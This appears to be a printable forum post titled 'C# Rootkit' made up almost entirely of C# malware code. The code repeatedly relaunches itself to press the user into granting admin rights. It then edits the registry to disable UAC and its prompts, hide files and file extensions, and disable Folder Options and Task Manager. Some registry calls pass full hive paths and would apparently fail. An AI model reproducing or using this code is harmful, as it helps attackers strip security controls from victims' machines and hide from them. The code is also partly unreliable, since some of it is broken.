C# C# Rootkit - Printable Version

Code
public static bool IsAdministrator()

        {

            var identity = WindowsIdentity.GetCurrent();

            var principal = new WindowsPrincipal(identity);

            return principal.IsInRole(WindowsBuiltInRole.Administrator);

        }

        public static bool LaunchAsAdmin()

        {

            string fileName = Assembly.GetExecutingAssembly().Location;

            ProcessStartInfo processInfo = new ProcessStartInfo();

            processInfo.Verb = "runas";

            processInfo.FileName = fileName;



            try

            {

                Process.Start(processInfo);

            }

            catch (Win32Exception)

            {

                return false;

            }

            return true;

        }

        static byte[] GetBytes(string str)

        {

            byte[] bytes = new byte[str.Length * sizeof(char)];

            System.Buffer.BlockCopy(str.ToCharArray(), 0, bytes, 0, bytes.Length);

            return bytes;

        }

        public static bool ByPassUAC()

        {

            if (IsAdministrator())

            {

                try {

                    //disable UAC

                    Microsoft.Win32.Registry.SetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "EnableLUA", 0);



                    Microsoft.Win32.Registry.SetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "ConsentPromptBehaviorAdmin", 0);



                    Microsoft.Win32.Registry.SetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "PromptOnSecureDesktop", 0);



                    Microsoft.Win32.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Action Center\\Checks\\{C8E6F269-B90A-4053-A3BE-499AFCEC98C4}.check.0", "CheckSetting", GetBytes("23004100430042006C006F00620000000000000000000000010000000000000000000000"), RegistryValueKind.Binary);



                    //Disable view hidden files all across the board

                    RegistryKey ShowSuperHidden = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);

                    ShowSuperHidden.SetValue("ShowSuperHidden", 0, RegistryValueKind.DWord);

                    ShowSuperHidden.Close();

                    RegistryKey HideFileExt = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\Explorer\\Advanced", true);

                    HideFileExt.SetValue("HideFileExt", 1, RegistryValueKind.DWord);

                    HideFileExt.Close();

                    RegistryKey HideDrivesWithNoMedia = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\Explorer\\Advanced", true);

                    HideDrivesWithNoMedia.SetValue("HideDrivesWithNoMedia", 1, RegistryValueKind.DWord);

                    HideDrivesWithNoMedia.Close();

                    //Disable Folder Options 

                    RegistryKey NoFolderOptions = Registry.CurrentUser.OpenSubKey(@"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", true);

                    NoFolderOptions.SetValue("NoFolderOptions", 1, RegistryValueKind.DWord);

                    NoFolderOptions.Close();



                    //Disable Task manager

                    RegistryKey DisableTaskMgr = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true);

                    DisableTaskMgr.SetValue("DisableTaskMgr", 1, RegistryValueKind.DWord);

                    DisableTaskMgr.Close();

                } catch

                {



                }

                return true;

            }

            bool Ran = false;

            while (Ran != true)

            {

                Ran = LaunchAsAdmin();

            }

            Environment.Exit(0);

            return true;

        }